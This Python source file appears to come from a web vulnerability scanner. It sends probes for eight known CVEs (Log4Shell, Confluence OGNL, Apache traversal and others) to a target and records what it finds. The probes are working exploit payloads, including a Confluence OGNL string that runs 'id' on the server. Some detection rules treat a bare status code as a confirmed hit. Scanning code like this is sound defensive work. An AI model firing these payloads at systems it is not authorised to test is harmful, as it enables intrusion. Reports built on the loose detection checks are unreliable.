SentinelScan-WSS / backend /scanners /cve_scanner.py
larxius's picture
Deploy SentinelScan WSS to HF Spaces
d543fc1 verified
Raw
History Blame Contribute Delete
6.82 kB
import json
import urllib.request
import urllib.error
import urllib.parse
import ssl
from scanners.base_scanner import BaseScanner
CVE_SIGNATURES = [
{
"id": "CVE-2021-44228",
"name": "Log4Shell",
"severity": "Critical",
"cvss": 10.0,
"affected": ["Apache Log4j 2.x < 2.15.0"],
"probe": {"header": "${jndi:ldap://127.0.0.1/a}", "param": "q"},
"detect": lambda code, body, headers: code == 500,
},
{
"id": "CVE-2022-22965",
"name": "Spring4Shell",
"severity": "Critical",
"cvss": 9.8,
"affected": ["Spring Framework 5.3.x < 5.3.18", "5.2.x < 5.2.20"],
"probe": {
"param": "class.module.classLoader.URLs%5B0%5D=0",
},
"detect": lambda code, body, headers: code == 400,
},
{
"id": "CVE-2022-26134",
"name": "Confluence OGNL Injection",
"severity": "Critical",
"cvss": 9.8,
"affected": ["Atlassian Confluence Server/DC < 7.18.0"],
"probe": {
"path_payload": "%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/"
},
"detect": lambda code, body, headers: "X-Cmd-Response" in headers,
},
{
"id": "CVE-2021-41773",
"name": "Apache HTTP Server Path Traversal",
"severity": "High",
"cvss": 7.5,
"affected": ["Apache HTTP Server 2.4.49"],
"probe": {"path": "/cgi-bin/.%2e/%2e%2e/bin/sh"},
"detect": lambda code, body, headers: code == 200 and "root:" in body,
},
{
"id": "CVE-2021-40438",
"name": "Apache HTTP Server SSRF",
"severity": "High",
"cvss": 8.1,
"affected": ["Apache HTTP Server 2.4.x < 2.4.49"],
"probe": {"path": "/?unix:xxx|http://127.0.0.1:80"},
"detect": lambda code, body, headers: code not in (404, 400),
},
{
"id": "CVE-2020-14750",
"name": "Oracle WebLogic Authentication Bypass",
"severity": "Critical",
"cvss": 9.8,
"affected": ["Oracle WebLogic 10.3.6", "12.1.3", "12.2.1.3", "12.2.1.4", "14.1.1.0"],
"probe": {"path": "/console/css/%2e%2e%2fconsole.portal"},
"detect": lambda code, body, headers: code == 200 and "WebLogic" in body,
},
{
"id": "CVE-2018-7600",
"name": "Drupalgeddon 2 (RCE)",
"severity": "Critical",
"cvss": 9.8,
"affected": ["Drupal 7.x < 7.58", "8.x < 8.5.1"],
"probe": {"path": "/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"},
"detect": lambda code, body, headers: "drupal_ajax" in body,
},
{
"id": "CVE-2017-9791",
"name": "Apache Struts S2-048 (RCE)",
"severity": "Critical",
"cvss": 9.8,
"affected": ["Apache Struts 2.3.x < 2.3.32"],
"probe": {"path": "/struts2-showcase/integration/saveGangster.action"},
"detect": lambda code, body, headers: code == 200 and "struts" in body.lower(),
},
]
class CveScanner(BaseScanner):
SCANNER_NAME = "Known Exploits & CVE Signature Scanner"
def __init__(self, scan_id, target, domain, **kwargs):
super().__init__(scan_id, target, domain, **kwargs)
self.base_url = target.rstrip("/")
def run(self):
self.log("INFO",
f"[CVE] Starting signature checks against {len(CVE_SIGNATURES)} CVEs on {self.target}...")
try:
for cve in CVE_SIGNATURES:
self._check_cve(cve)
except Exception as e:
self.log("WARNING", f"[CVE] Error during scan: {e}")
self.log(
"SUCCESS" if not self.vulns else "WARNING",
f"[CVE] Checks complete. {len(self.vulns)} CVE(s) confirmed.",
)
return self.vulns
def _check_cve(self, cve: dict):
probe = cve.get("probe", {})
detect = cve.get("detect")
headers = {"User-Agent": "LarShield/2.0 CVE-Scanner"}
try:
path = probe.get("path", "")
path_payload = probe.get("path_payload", "")
param = probe.get("param", "")
header_val = probe.get("header", "")
query_str = probe.get("param", "")
test_url = f"{self.base_url}{path}"
if path_payload:
test_url = f"{self.base_url}/{path_payload}"
if query_str and not path:
test_url = f"{self.base_url}/?{query_str}"
req_headers = dict(headers)
if header_val:
req_headers["User-Agent"] = header_val
req_headers["X-Forwarded-For"] = header_val
req_headers["Referer"] = header_val
ctx = self.get_ssl_context()
req = urllib.request.Request(test_url, headers=req_headers)
try:
with urllib.request.urlopen(req, timeout=5, context=ctx) as resp:
body = resp.read(4096).decode("utf-8", errors="ignore")
code = resp.status
resp_headers = resp.headers
except urllib.error.HTTPError as e:
body = e.read(4096).decode("utf-8", errors="ignore") if e.fp else ""
code = e.code
resp_headers = e.headers if hasattr(e, "headers") else {}
except Exception as e:
self.log("ERROR", f"[CVE] _check_cve request error: {e}")
return
if detect and detect(code, body, resp_headers):
self.log("CRITICAL",
f"[CVE] Confirmed: {cve['name']} ({cve['id']})")
self.add_vuln(
title=f"{cve['name']} ({cve['id']})",
severity=cve["severity"],
category="Known Exploit / CVE",
cvss_score=cve["cvss"],
description=f"The target appears vulnerable to {cve['name']} ({cve['id']}).\n"
f"Affected: {', '.join(cve['affected'])}",
remediation=f"Apply the latest security patch for {cve['id']}. "
f"Refer to vendor advisory for detailed mitigation steps.",
evidence=f"HTTP {code} with matching signature",
request_details=f"GET {test_url}",
)
except Exception as e:
self.log("ERROR", f"[CVE] _check_cve error: {e}")